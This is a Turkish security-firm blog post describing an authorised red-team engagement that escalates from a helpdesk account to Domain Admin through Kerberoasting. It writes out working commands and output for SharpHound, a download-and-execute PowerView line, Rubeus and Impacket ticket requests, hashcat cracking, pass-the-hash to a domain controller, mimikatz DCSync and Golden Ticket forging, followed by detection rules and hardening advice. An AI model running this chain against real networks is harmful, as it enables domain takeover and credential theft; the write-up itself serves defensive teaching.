Ana Sayfa
BlogBize Ulaşın
Blog'a Dön
Red Team ve Saldırı Güvenliği

Kerberoasting'den Domain Admin'e: Eksiksiz Bir Active Directory Saldırı Zinciri

Netlore Security Red Team
20 dk okuma

Yönetici Özeti

Bu teknik vaka analizi, Windows Active Directory ortamı işleten orta ölçekli bir kurumsal yapıya karşı gerçekleştirilen bir red team çalışmasını belgelemektedir. Kimlik avı tabanlı ilk erişim senaryosunu simüle eden tek bir düşük yetkili domain kullanıcı hesabından başlayarak, ekibimiz altı saatten kısa sürede Domain Admin ayrıcalıklarına ulaştı. Bu kill chain'deki temel teknik Kerberoasting oldu; yani Kerberos kimlik doğrulama protokolünden yararlanan ve servis hesabı parola hash'lerini çevrimdışı çalarak kırmayı mümkün kılan, iyi bilinen ancak sürekli hafife alınan bir Active Directory saldırısı.

Çalışma Genel Bakışı

  • Hedef Ortam: Windows Server 2019 AD, ~350 kullanıcı hesabı, 8 Domain Controller
  • İlk Erişim Simülasyonu: Düşük yetkili domain kullanıcısı (yardım masası seviye-1)
  • Kapsam: İç ağ, lateral movement'a kısıtlama yok
  • Süre: İlk erişimden DA'ya 5 saat 47 dakika
  • Tespit Durumu: Saldırı zinciri boyunca müşterinin SIEM'inde sıfır alarm tetiklendi
  • Kullanılan Araçlar: BloodHound, SharpHound, Impacket, Hashcat, Rubeus, mimikatz

Temel Bulgular

  1. Domain'de 17 Kerberoastable hesap bulundu, 4'ünün parolası kırılabilir nitelikteydi
  2. Bir servis hesabı Domain Admin üyeliğine sahipti — doğrudan DA yolu
  3. Servis hesaplarına yönelik TGS isteklerinde izleme yapılmıyordu
  4. Kullanıcı hesaplarında eski SPN'ler mevcuttu, saldırı yüzeyi genişliyordu
  5. Çalışma boyunca sıfır alarm oluşturulmadı

Arka Plan: Kerberos Kimlik Doğrulaması Nasıl Çalışır?

Saldırıya dalmadan önce, Active Directory ortamlarında Kerberos kimlik doğrulamasının nasıl işlediğini ve neden bu saldırı sınıfına karşı savunmasız olduğunu anlamak önemlidir.

Kerberos Bilet Değişim Süreci

Kerberos, ağ üzerinden parola iletmeden kullanıcıların servislere kimlik doğrulamasını sağlayan bilet tabanlı bir model kullanır:

  1. AS-REQ / AS-REP (Kimlik Doğrulama Servisi Değişimi): İstemci, parola hash'ini kullanarak KDC'ye (Key Distribution Center) kimlik doğrular. KDC, krbtgt hesabının gizli anahtarıyla şifrelenmiş bir Ticket Granting Ticket (TGT) verir.

  2. TGS-REQ / TGS-REP (Bilet Verme Servisi Değişimi): İstemci TGT'sini sunar ve belirli bir servis için Servis Bileti (TGS) talep eder. KDC, TGS'yi servis hesabının NTLM hash'i ile şifreler.

  3. AP-REQ (Uygulama Değişimi): İstemci TGS'yi hedef servise sunar. Servis, bileti kendi parola hash'iyle çözer ve erişim verir.

Kerberoasting Açığı

Buradaki kritik zayıflık 2. adımdadır. Bir domain kullanıcısı bir servis için TGS talep ettiğinde, KDC bu bileti SPN (Service Principal Name) ile ilişkili servis hesabının NTLM hash'i kullanarak şifreler. Önemli olan şu:

  • Herhangi bir kimlik doğrulanmış domain kullanıcısı, domain'de kayıtlı herhangi bir SPN için TGS talep edebilir
  • KDC, talepte bulunan kullanıcının servisi kullanma iznini kontrol etmez
  • TGS, servis hesabının parola hash'i kullanılarak RC4-HMAC (veya yapılandırılmışsa AES) ile şifrelenir
  • Saldırgan TGS'yi çevrimdışı alabilir ve daha fazla ağ etkileşimine gerek kalmadan parolayı kaba kuvvetle kırmaya çalışabilir

Yani bir servis hesabı zayıf veya tahmin edilebilir bir parola kullanıyorsa, herhangi bir domain kullanıcısı tamamen çevrimdışı olarak kırabılır — başarısız giriş yok, hesap kilitleme yok, ağ gürültüsü yok.


Aşama 1: İlk Erişim

Simüle Edilmiş İlk Erişim

Bu çalışma için başlangıç noktası simüle edilmiş bir kimlik avı ele geçirmesiydi. Müşteri bize standart bir yardım masası kullanıcı hesabı için kimlik bilgileri verdi:

Kullanıcı Adı: helpdesk.user01@corp.local
Parola: Welcome2024!
Ayrıcalıklar: Yalnızca Domain Users

Bu, fidye yazılımı ve APT izinsiz girişlerinde en yaygın gerçek dünya başlangıç noktasıdır — kimlik avı, credential stuffing veya bir ilk erişim komisyoncusundan satın alma yoluyla elde edilmiş düşük yetkili bir domain hesabı.

Bu kimlik bilgileriyle domain'e kimlik doğruladık ve keşif aşamamıza başladık.


Aşama 2: İç Keşif

2.1 BloodHound ile Domain Tespiti

BloodHound, Active Directory saldırı yolu analizi için altın standarttır. Kullanıcılar, bilgisayarlar, gruplar ve ACL'ler arasındaki ilişkileri eşlemek için grafik teorisini kullanır ve herhangi bir düğümden Domain Admin'e en kısa yolu belirler.

Domain'i numaralandırmak için SharpHound'u (BloodHound veri toplayıcısı) dağıttık:

# SharpHound toplayıcısını çalıştır
.\SharpHound.exe -c All --zipfilename ad-collection.zip --outputdirectory C:\Windows\Temp

[*] Çözümlenen Toplama Yöntemleri: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn,
    Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
[*] SharpHound başlatılıyor: 09:14:32 02/28/2026
[*] Durum: 347 nesne tamamlandı (+347 347)/s -- 72 MB RAM kullanımda
[*] Numaralandırma 00:03:42'de tamamlandı
[*] Veri sıkıştırılıyor: C:\Windows\Temp\ad-collection.zip

Verileri BloodHound'a aktardıktan sonra hemen "Find Shortest Paths to Domain Admins" ve "List All Kerberoastable Accounts" önceden hazırlanmış sorgularını çalıştırdık.

2.2 Kerberoastable Servis Hesaplarının Tespiti

BloodHound kayıtlı SPN'lere sahip 17 hesap ortaya koydu — hepsi Kerberoasting adayıydı. Daha ayrıntılı bir inceleme için PowerView de kullandık:

# PowerView'ı içe aktar
IEX (New-Object Net.WebClient).DownloadString('http://192.168.45.10/PowerView.ps1')

# Kerberoastable hesapları numaralandır
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname, memberof, pwdlastset

samaccountname       serviceprincipalname                   memberof                    pwdlastset
--------------       --------------------                   --------                    ----------
svc-mssql            MSSQLSvc/SQLPROD01:1433                Domain Admins               2019-03-15 11:22:04
svc-backup           BackupSvc/BACKUPSRV01                  Backup Operators            2021-06-08 09:12:31
svc-web              HTTP/webapp.corp.local                 Web Admins                  2022-11-20 14:33:18
svc-monitoring       WSMAN/monitor.corp.local               IT Helpdesk                 2023-07-04 08:55:44
...

İlk sonuç bizi durdurdu: svc-mssql Domain Admins üyesi ve parola son olarak 2019'da ayarlanmış. Domain Admin servis hesabında yedi yıllık bir parola — bu, tam bir ele geçirmeyi tanımlayan yapılandırma hatasının ta kendisidir.

Bunu BloodHound'da görsel olarak da doğruladık:

  • svc-mssqlMSSQLSvc/SQLPROD01:1433 (SPN)
  • svc-mssqlDomain Admins (doğrudan grup üyeliği)
  • helpdesk.user01svc-mssql için TGS talep edebilir (herhangi bir domain kullanıcısı)

Saldırı yolu netti. Tek bir Kerberoastable servis hesabı üzerinden yardım masası hesabımızdan Domain Admin'e doğrudan bir rota vardı.

2.3 Ek Domain Keşfi

Kerberoasting saldırımızı hazırlarken daha geniş ortamı anlamak için ek numaralandırma da yaptık:

# Domain bilgisi
Get-DomainController | Select-Object Name, Domain, Forest, OSVersion

# Parola politikası
Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess

MinimumPasswordAge    : 1
MaximumPasswordAge    : 90
MinimumPasswordLength : 8
PasswordComplexity    : 1
LockoutBadCount       : 0  # Hesap kilitleme politikası yok — kaba kuvvete izin verir
LockoutDuration       : 0

# Domain admin'ler
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName

MemberName
----------
Administrator
svc-mssql     # <- hedefimiz
it.admin

Hesap kilitleme politikasının olmadığı (LockoutBadCount: 0) ikincil bir bulguydu — ancak Kerberoasting saldırısı bunu gerektirmiyor çünkü tüm kırma işlemi çevrimdışı gerçekleşiyor.


Aşama 3: Kerberoasting

3.1 Servis Biletlerinin Talep Edilmesi

Hedefimizi belirledikten sonra, Kerberos kötüye kullanımı için güçlü bir .NET araç seti olan Rubeus'u kullanarak tüm SPN'ler için Kerberos servis biletleri talep ettik:

# Tüm Kerberoastable hesaplar için TGS biletleri talep et ve dosyaya kaydet
.\Rubeus.exe kerberoast /outfile:kerberoast-hashes.txt /nowrap

[*] Eylem: Kerberoasting

[*] Hedef Domain          : corp.local
[*] Toplam kerberoastable kullanıcı : 17

[*] SamAccountName         : svc-mssql
[*] DistinguishedName      : CN=svc-mssql,OU=Service Accounts,DC=corp,DC=local
[*] ServicePrincipalName   : MSSQLSvc/SQLPROD01:1433
[*] PwdLastSet             : 3/15/2019 11:22:04 AM
[*] Supported ETypes       : RC4_HMAC
[*] Hash                   : $krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:1433@corp.local*$...

[*] SamAccountName         : svc-backup
[*] ServicePrincipalName   : BackupSvc/BACKUPSRV01
...

Araç saniyeler içinde 17 hesabın tümü için TGS biletlerini başarıyla aldı. Her hash, şimdi çevrimdışı kıracağımız şifrelenmiş TGS'dir.

3.2 Impacket Alternatifi (Linux)

Tamamlık açısından, aynı saldırı Impacket'in GetUserSPNs.py aracı kullanılarak Linux'tan da gerçekleştirilebilir:

# Linux'tan tüm TGS hash'lerini talep et
python3 GetUserSPNs.py -request -dc-ip 192.168.1.10 corp.local/helpdesk.user01:Welcome2024!

ServicePrincipalName            Name        MemberOf              PasswordLastSet
------------------------------  ----------  --------------------  -------------------
MSSQLSvc/SQLPROD01:1433         svc-mssql   Domain Admins         2019-03-15 11:22:04
BackupSvc/BACKUPSRV01           svc-backup  Backup Operators      2021-06-08 09:12:31
HTTP/webapp.corp.local          svc-web     Web Admins            2022-11-20 14:33:18

$krb5tgs$23$*svc-mssql$corp.local$MSSQLSvc/SQLPROD01:1433@corp.local*$9e3f0b2d...[kısaltıldı]
$krb5tgs$23$*svc-backup$corp.local$BackupSvc/BACKUPSRV01@corp.local*$4a1c8f3e...[kısaltıldı]

3.3 Hashcat ile Çevrimdışı Hash Kırma

Hash'ler kaydedilince, GPU'lu çevrimdışı bir kırma istasyonuna geçtik. Kerberoast hash'leri $krb5tgs$23$ türündedir (RC4-HMAC, Hashcat modu 13100):

# Hashcat ile RC4 Kerberoast hash'lerini kır
hashcat -m 13100 kerberoast-hashes.txt /wordlists/rockyou.txt -r /rules/best64.rule --force

hashcat (v6.2.6) başlatılıyor...

* Cihaz #1: NVIDIA GeForce RTX 4090, 24320/24576 MB, 128MCU

$krb5tgs$23$*svc-mssql$...:Mssql@2019      # 3 dakika 14 saniyede KIRILDI
$krb5tgs$23$*svc-backup$...:Backup123!     # 7 dakika 52 saniyede KIRILDI
$krb5tgs$23$*svc-web$...:                  # Kırılamadı (güçlü parola)

Durum...........: Kırıldı (RC4 hash'lerinden 2/4'ü)
Kurtarıldı......: 2/4 (%50.00) Özetler
Hız.#1..........: 5.123,4 MH/s

svc-mssql parolası kırıldı: Mssql@2019

Parola basittir: servis adı artı son değiştirildiği yıl. Bu, özellikle modern parola politikalarından önce oluşturulmuş servis hesapları için kurumsal ortamlarda son derece yaygın bir kalıptır.


Aşama 4: Lateral Movement

4.1 Pass-the-Ticket (PTT)

Kırılan parola elimizde olunca birden fazla seçeneğimiz vardı. Yeni kimlik doğrulama olayları oluşturmaktan kaçınmak için zaten elde ettiğimiz TGS'yi kullanan Pass-the-Ticket yöntemini seçtik:

# TGS biletini mevcut oturum belleğine enjekte et
.\Rubeus.exe ptt /ticket:$krb5tgs$23$*svc-mssql$corp.local$...

[*] Eylem: Bileti İçe Aktar
[+] Bilet başarıyla içe aktarıldı!

# Bellekteki bileti doğrula
klist

Önbelleğe Alınmış Biletler: (1)
#0>     İstemci: svc-mssql @ CORP.LOCAL
        Sunucu: MSSQLSvc/SQLPROD01:1433 @ CORP.LOCAL
        Bitiş Zamanı: 2/28/2026 21:14:32 (yerel)
        Yenileme Zamanı: 3/7/2026 09:14:32 (yerel)

4.2 Pass-the-Hash Alternatifi

Düz metin parolaya sahip olduğumuzdan NTLM hash'ini hesaplayıp Pass-the-Hash kullanabilirdik:

# Kırılan parolanın NTLM hash'ini hesapla
python3 -c "import hashlib; print(hashlib.new('md4', 'Mssql@2019'.encode('utf-16le')).hexdigest())"
# Çıktı: 8f538e4e9d7b3dfc4e2d1e9a7c6f0b12

# psexec ile Pass-the-Hash ile kimlik doğrula
python3 psexec.py -hashes :8f538e4e9d7b3dfc4e2d1e9a7c6f0b12 svc-mssql@DC01.corp.local cmd.exe

[*] DC01.corp.local üzerindeki paylaşımlar isteniyor.....
[*] ADMIN$ yazılabilir paylaşımı bulundu
[*] EJtKfgQP.exe yükleniyor
[*] DC01.corp.local üzerinde RkpD servisi başlatılıyor.....
Microsoft Windows [Sürüm 10.0.17763.5206]

C:\Windows\system32>whoami
corp\svc-mssql

C:\Windows\system32>net group "Domain Admins" /domain
Grup adı     Domain Admins

Üyeler
-------------------------------------------------------------------
Administrator            it.admin                 svc-mssql
Komut başarıyla tamamlandı.

Artık svc-mssql olarak çalışan — bir Domain Admin — Domain Controller üzerinde bir shell'imiz vardı.


Aşama 5: Domain Ele Geçirme

5.1 DCSync — Tüm Domain Kimlik Bilgilerinin Çıkarılması

Domain Admin ayrıcalıklarıyla, Active Directory'den tüm domain kimlik bilgilerini dökmek için mimikatz kullanarak bir DCSync saldırısı gerçekleştirdik. DCSync, bir Domain Controller'ın kimlik bilgisi replikasyon davranışını taklit ederek son derece gizli kalır:

# Tüm domain hash'lerini dökmek için DCSync
.\mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" exit

Nesne RDN           : krbtgt
SAM Kullanıcı Adı   : krbtgt
Parola son değişiklik: 2021-03-22 09:11:07

Kimlik Bilgileri:
  Hash NTLM: d6f68bba7c9a5a9d97a0ede70bd4f4c6

...
[+] 347 hesap döküldü

krbtgt NTLM hash'ini dökmek, Active Directory ele geçirmesinin nihai kilometre taşıdır. krbtgt hash'i ile saldırgan, başka kimlik bilgisine gerek duymaksızın domain'deki herhangi bir servise süresiz erişim sağlayan Golden Ticket'lar oluşturabilir.

5.2 Golden Ticket Oluşturma

Tam kalıcılık etkisini göstermek için:

# 10 yıl ömürlü Golden Ticket oluştur
.\mimikatz.exe "
kerberos::golden 
  /user:GoldenAdmin 
  /domain:corp.local 
  /sid:S-1-5-21-2892736451-3294054949-1009416568 
  /krbtgt:d6f68bba7c9a5a9d97a0ede70bd4f4c6 
  /endin:3652 
  /renewmax:3652 
  /ticket:golden.kirbi
" exit

[+] Golden ticket oluşturuldu: golden.kirbi

Bu, bir AD ele geçirmesinden sonra tam kapsama almanın neden krbtgt parolasının iki kez döndürülmesini (tüm mevcut TGT'leri geçersiz kılmak için) ve tüm oluşturulan kalıcılık mekanizmalarının kapsamlı bir soruşturmasını gerektirdiğini göstermektedir.

5.3 Zaman Çizelgesi Özeti

ZamanEylemTeknik
T+0:00Yardım masası kimlik bilgileriyle ilk erişimT1078.002
T+0:08SharpHound domain numaralandırmasıT1087.002
T+0:15BloodHound analizi, yol tespit edildiT1087.002
T+0:22Rubeus ile tüm SPN'ler Kerberoast edildiT1558.003
T+0:25Hash'ler kırma istasyonuna aktarıldıT1041
T+3:39svc-mssql hash'i kırıldı (Mssql@2019)T1110.002
T+3:45Domain Controller'a Pass-the-HashT1550.002
T+3:52DC01'de svc-mssql (Domain Admin) olarak shellT1078.002
T+4:11DCSync — tüm domain hash'leri döküldüT1003.006
T+4:18Golden Ticket oluşturuldu (krbtgt hash'i)T1558.001
T+5:47Çalışma tamamlandı

MITRE ATT&CK Haritalama

TaktikTeknik IDTeknik AdıKullanılan Araç
KeşifT1087.002Hesap Keşfi: Domain HesabıBloodHound, PowerView
KeşifT1482Domain Güven KeşfiBloodHound
KeşifT1069.002İzin Grupları Keşfi: Domain GruplarıPowerView
Kimlik Bilgisi ErişimiT1558.003Kerberos Biletleri Çalma/Sahteleme: KerberoastingRubeus, Impacket
Kimlik Bilgisi ErişimiT1003.006İşletim Sistemi Kimlik Bilgisi Dökümü: DCSyncmimikatz
Lateral MovementT1550.002Alternatif Kimlik Doğrulama Materyali Kullanımı: Pass the Hashpsexec.py
Lateral MovementT1550.003Alternatif Kimlik Doğrulama Materyali Kullanımı: Pass the TicketRubeus
Ayrıcalık YükseltmeT1078.002Geçerli Hesaplar: Domain Hesapları
KalıcılıkT1558.001Kerberos Biletleri Çalma/Sahteleme: Golden Ticketmimikatz

Bu Saldırı Neden Bu Kadar Etkili?

Çevrimdışı Kırmanın Avantajı

Kerberoasting'in temel gücü, canlı sistemlere karşı kaba kuvvet denemesi gerektirmemesinden gelir. Hesap kilitleme olayları ve başarısız kimlik doğrulama günlükleri üreten parola püskürtme veya kaba kuvvet saldırılarının aksine, Kerberoasting:

  • Yalnızca tek, normal görünümlü bir TGS-REQ olayı üretir (Event ID 4769)
  • Tüm kırma işlemi saldırganın kontrolündeki donanımda çevrimdışı gerçekleşir
  • Hash alındıktan sonra ağ bağlantısı gerekmez
  • Hesap kilitleme riski kesinlikle yoktur
  • KDC'nin çevrimdışı kırma girişimlerini tespit etme yolu yoktur

Servis Hesapları Neden Savunmasız?

Servis hesapları kuruluşlar için benzersiz zorluklar sunar:

  1. Uzun ömürlü parolalar: Servis hesabı parolaları genellikle yıllarca değişmez, çünkü değiştirme kullanan uygulamayı bozma riski taşır
  2. Tahmin edilebilir kalıplar: BT ekipleri servis hesabı parolaları için akılda kalıcı kalıplar (ServisAdı@Yıl) kullanır
  3. Aşırı ayrıcalıklar: Servis hesapları kolaylık sağlamak için genellikle fazla yetkiyle sağlanır ("Domain Admin ver, o zaman kesinlikle çalışır")
  4. Zayıf izleme: Servis hesabı kimlik doğrulama olayları nadiren temel alınır veya uyarı verir
  5. Eski SPN'ler: Eski SPN'ler servislerin hizmetten çıkarılmasından sonra bile nadiren temizlenir

AES ile RC4 Şifrelemesi

Varsayılan olarak, Kerberos destekleniyorsa TGS biletleri için RC4-HMAC şifrelemesini tercih eder çünkü bu kırmak için en hızlı şifreleme türüdür. Kuruluşlar, yalnızca AES şifrelemesini zorunlu kılarak bunu kısmen azaltabilir (AES-256 için Hashcat modu 19700), ancak saldırı yine de işe yarar — sadece zayıf parolalarla daha uzun sürer.


Tespit Fırsatları

Güçlü ve gizli bir teknik olmasına rağmen, Kerberoasting tespit edilebilir izler bırakır. Mavi takımın izlemesi gerekenler şunlardır:

Windows Event Günlükleri

Event ID 4769 — Kerberos Servis Bileti İşlemleri

Bu birincil tespit olayıdır. Analiz edilecek temel alanlar:

Event ID: 4769
Olay: Kerberos servis bileti talep edildi

Hesap Adı: helpdesk.user01@CORP.LOCAL
Hizmet Adı: svc-mssql
Bilet Şifreleme Türü: 0x17   <-- RC4-HMAC (modern ortamlar için şüpheli)
İstemci Adresi: ::ffff:192.168.10.45

Tespit Mantığı:

  • Modern ortamlarda servis hesapları için Bilet Şifreleme Türü = 0x17 (RC4-HMAC) olduğunda uyarı ver
  • Tek bir kullanıcı kısa sürede birçok SPN için TGS bileti talep ettiğinde uyarı ver (toplu Kerberoasting)
  • Servis olmayan hesaplar yüksek ayrıcalıklı servis hesapları için TGS talep ettiğinde uyarı ver

Honeytoken Servis Hesapları

En etkili Kerberoasting tespit stratejilerinden biri, domain'e honeytoken servis hesapları yerleştirmektir:

  1. Bir SPN ile sahte servis hesabı oluşturun: svc-honeypot ve FakeSPN/fakesrv.corp.local
  2. Hesabın kırılamayacak çok güçlü bir parolası olsun
  3. Bu hesap için herhangi bir TGS talebinde uyarı vermek üzere SACL denetimini yapılandırın
  4. Bu bilet için herhangi bir talep, garantili bir Kerberoasting göstergesidir — hiçbir meşru sistem onu talep etmemelidir
# Honeytoken servis hesabı oluştur
New-ADUser -Name "svc-honeypot" -SamAccountName "svc-honeypot" -AccountPassword (ConvertTo-SecureString "H0n3yP0t!2026@#$%^UZUNPAROLA" -AsPlainText -Force) -Enabled $true
Set-ADUser -Identity "svc-honeypot" -ServicePrincipalNames @{Add="FakeSVC/honeypot.corp.local"}

Düzeltme ve Sertleştirme Önerileri

Kritik (Hemen Eylem Gerekli)

1. SPN'li Tüm Servis Hesaplarını Denetleyin

# Tüm Kerberoastable hesapları bul
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, MemberOf, PasswordLastSet, PasswordNeverExpires |
Select-Object SamAccountName, ServicePrincipalName, @{N='Gruplar';E={$_.MemberOf -join ', '}}, PasswordLastSet, PasswordNeverExpires |
Export-Csv -Path C:\Raporlar\kerberoastable-hesaplar.csv -NoTypeInformation
  • Herhangi bir servis hesabını Domain Admins veya diğer yüksek ayrıcalıklı gruplardan hemen kaldırın
  • 1 yıldan eski tüm servis hesabı parolalarını değiştirin
  • Tüm servis hesapları için minimum 25 karakter parola uzunluğunu zorunlu kılın

2. Yönetilen Servis Hesaplarına (MSA/gMSA) Geçiş

Group Managed Service Accounts (gMSA), servis hesaplarında Kerberoasting için kesin çözümdür. gMSA'ların parolaları:

  • Windows tarafından her 30 günde otomatik olarak döndürülür
  • KDC tarafından oluşturulan 240 karakterli rastgele parolalardır
  • Kerberoast edilmesi imkânsızdır (çevrimdışı kırma tamamlanmadan parola hash'i değişir)
# svc-mssql'nin yerine gMSA oluştur
New-ADServiceAccount -Name "gmsa-mssql" \
  -DNSHostName "sqlprod01.corp.local" \
  -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers" \
  -ServicePrincipalNames "MSSQLSvc/SQLPROD01:1433"

# SQL sunucusuna yükle
Install-ADServiceAccount -Identity "gmsa-mssql"

# SQL Server Yapılandırma Yöneticisi'nde gMSA kullanacak şekilde yapılandır
# Servis hesabı: corp\gmsa-mssql$  ($ işaretine dikkat)

3. Servis Hesapları için AES Şifrelemesini Etkinleştirin

Tam bir çözüm olmasa da, AES-256 şifrelemesini zorunlu kılmak Kerberoasting'i önemli ölçüde zorlaştırır:

# Servis hesapları için AES şifrelemesini zorla
Set-ADUser -Identity svc-mssql -KerberosEncryptionType AES256

# Domain düzeyinde RC4'ü devre dışı bırak (dağıtmadan önce kapsamlı test yapın)
# GPO: Bilgisayar Yapılandırması > Windows Ayarları > Güvenlik Ayarları >
# Yerel İlkeler > Güvenlik Seçenekleri >
# Ağ güvenliği: Kerberos için izin verilen şifreleme türlerini yapılandır
# RC4_HMAC_MD5'in işaretini kaldırın

Yüksek Öncelik (30 Gün İçinde)

4. Servis Hesapları için En Az Ayrıcalık İlkesini Uygulayın

  • Servis hesapları yalnızca kendine özgü işlevleri için gereken izinlere sahip olmalıdır
  • Hiçbir servis hesabı Domain Admins, Enterprise Admins veya Schema Admins üyesi olmamalıdır
  • Microsoft PAM veya BeyondTrust gibi çözümler kullanarak ayrıcalıklı işlemler için anlık (JIT) erişim uygulayın
  • Tüm ayrıcalıklı hesap yönetimi için Privileged Access Workstations (PAW) uygulayın

5. Eski SPN'leri Temizleyin

# Yetkisiz sunuculara işaret eden SPN'leri bul
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName |
ForEach-Object {
  $user = $_
  $_.ServicePrincipalName | ForEach-Object {
    $spn = $_
    $server = ($spn -split '/')[1] -split ':' | Select-Object -First 1
    if (-not (Resolve-DnsName $server -ErrorAction SilentlyContinue)) {
      Write-Output "Sahipsiz SPN: $spn - $($user.SamAccountName) üzerinde"
    }
  }
}

6. Kerberoasting Tespit Kuralları Dağıtın

Splunk Tespit Kuralı:

index=wineventlog EventCode=4769
| eval encryption_type=mvindex(Ticket_Encryption_Type,0)
| where encryption_type="0x17" AND Service_Name!="krbtgt" AND Service_Name!="*$"
| stats count by Account_Name, Service_Name, Client_Address
| where count > 5
| alert action=email, subject="Olası Kerberoasting Tespit Edildi"

Microsoft Sentinel KQL:

SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| where ServiceName !endswith "$"
| where ServiceName != "krbtgt"
| summarize TalepSayısı = count(), Servisler = makeset(ServiceName) by AccountName, IpAddress, bin(TimeGenerated, 1h)
| where TalepSayısı > 3
| project TimeGenerated, AccountName, IpAddress, TalepSayısı, Servisler

Uzun Vadeli (Stratejik)

7. Microsoft Defender for Identity Dağıtın

Microsoft Defender for Identity (eski adıyla Azure ATP), domain controller düzeyinde TGS talep kalıplarını analiz ederek hacim, zamanlama ve şifreleme türü anomalilerini otomatik olarak ilişkilendiren yerleşik Kerberoasting tespitine sahiptir.

8. Düzenli Red Team Tatbikatları

Kerberoasting ve Active Directory saldırı yolları düzenli olarak test edilmelidir:

  • Üç ayda bir: PingCastle veya BloodHound Community Edition gibi araçlar kullanarak otomatik AD sağlık kontrolleri
  • Yılda iki kez: Domain ele geçirme senaryolarını simüle eden tam red team tatbikatları
  • Yıllık: Tespit yeteneklerini doğrulamak ve ayarlamak için purple team tatbikatları

Çıkarılan Dersler

Bu çalışma, kurumsal ortamlarda tekrar tekrar gördüğümüz bir kalıbı vurguladı: Active Directory, güvenlik sınırı olarak değil altyapı olarak ele alınmaktadır. Aşağıdaki organizasyonel ve süreç başarısızlıkları, tek bir yardım masası kimlik bilgisinden tam bir domain ele geçirmeye olanak tanıdı:

Temel Nedenler

  1. Servis hesabı yaşam döngüsü yönetimi yok: svc-mssql hesabı 2019'da aşırı ayrıcalıklar ve zayıf parola ile oluşturuldu ve yedi yılda hiç gözden geçirilmedi
  2. Aşırı ayrıcalıklı servis hesapları: Birisi svc-mssql'yi kolaylık sağlamak için Domain Admins'e ekledi, muhtemelen geri alınmayan bir sorun giderme oturumu sırasında
  3. AD güvenlik izlemesi yok: RC4 TGS istekleri için uyarı olmayan 17 Kerberoastable hesap
  4. Savunma tarafında BloodHound eşdeğeri araç yok: Saldırı yolu BloodHound'da trivial olarak görünürdü — BloodHound'u düzenli çalıştıran savunucular bu yapılandırma hatasını yakalamış olurdu
  5. Servis hesapları için parola politikası uygulaması yok: Karmaşıklık içeren 8 karakterlik minimum, SPN'li hesaplar için etkili bir politika oluşturmaz

Tek Hata Noktası Sorunu

Bu çalışmanın en önemli çıkarımlarından biri, tek bir yapılandırma hatasının — Domain Admins'teki bir servis hesabının — düşük etkili bir Kerberoasting bulgusunu tam bir domain ele geçirmeye nasıl dönüştürdüğüdür. Derinlemesine savunma yalnızca birden fazla güvenlik aracına sahip olmakla ilgili değildir; aynı zamanda hiçbir tek yapılandırma hatasının düşük yetkili bir kullanıcıdan Domain Admin'e düz bir yol oluşturamayacağını sağlamakla ilgilidir.


Sonuç

Kerberoasting yeni bir teknik değil — ilk olarak Tim Medin tarafından DerbyCon 2014'te tanımlandı — ancak modern kurumsal Active Directory ortamlarında en güvenilir şekilde başarılı olan saldırı yollarından biri olmaya devam ediyor. Meşru protokol davranışı, çevrimdışı kırma ve yaygın servis hesabı hijyen başarısızlıklarının kombinasyonu onu her red team'in araç kitinin vazgeçilmezi yapmaktadır.

Bu çalışmadan temel çıkarımlar:

  1. gMSA'lar Kerberoasting'i ortadan kaldırır — servis hesapları için hemen geçiş yapın
  2. Servis hesapları asla ayrıcalıklı grup üyeliği taşımamalıdır — şimdi denetleyin
  3. RC4-HMAC TGS talepleri tespit edilebilir — SIEM kurallarını hemen uygulayın
  4. BloodHound'u kendi ortamınızda çalıştırın — saldırganlar görmeden önce ne gördüklerini görün
  5. Kerberoasting neredeyse hiç gürültü üretmez — yalnızca pasif izleme yetersizdir; proaktif denetim şarttır

Tek bir yardım masası kimlik bilgisinden altı saatten kısa sürede tam domain ele geçirme ile bu çalışma, Active Directory güvenliğinin bir kez yapılıp bırakılan bir yapılandırma olarak ele alınamayacağının altını çizmektedir. Sürekli denetim, izleme ve karşı taraf simülasyonu gerektirmektedir.


Bu teknik vaka analizi, Netlore Security Red Team tarafından gerçekleştirilen yetkili bir red team çalışmasının anonimleştirilmiş bir anlatımıdır. Tüm tanımlayıcı bilgiler değiştirilmiştir. Çalışma, tam yasal yetkilendirme ve imzalanmış bir Katılım Kuralları belgesi kapsamında gerçekleştirilmiştir.

Active Directory ortamınız Kerberoasting ve domain ele geçirme saldırı zincirlerine karşı dayanıklı mı? Netlore Security, kapsamlı Active Directory güvenlik değerlendirmeleri, BloodHound odaklı saldırı yolu analizi ve purple team tatbikatları sunmaktadır. Bize ulaşın: redteam@netlore.com.tr

Etiketler:KerberoastingActive DirectoryPass-the-HashPass-the-TicketLateral MovementPrivilege EscalationRed TeamMITRE ATT&CKBloodHoundDomain Admin

Siber Güvenlik Danışmanlığına İhtiyacınız mı Var?

Uzman ekibimiz, kurumsal altyapınızın güvenliğini sağlamak için kapsamlı siber güvenlik hizmetleri sunmaktadır. Sızma testleri, güvenlik denetimleri ve danışmanlık hizmetlerimiz hakkında detaylı bilgi almak için bizimle iletişime geçin.

İletişime Geç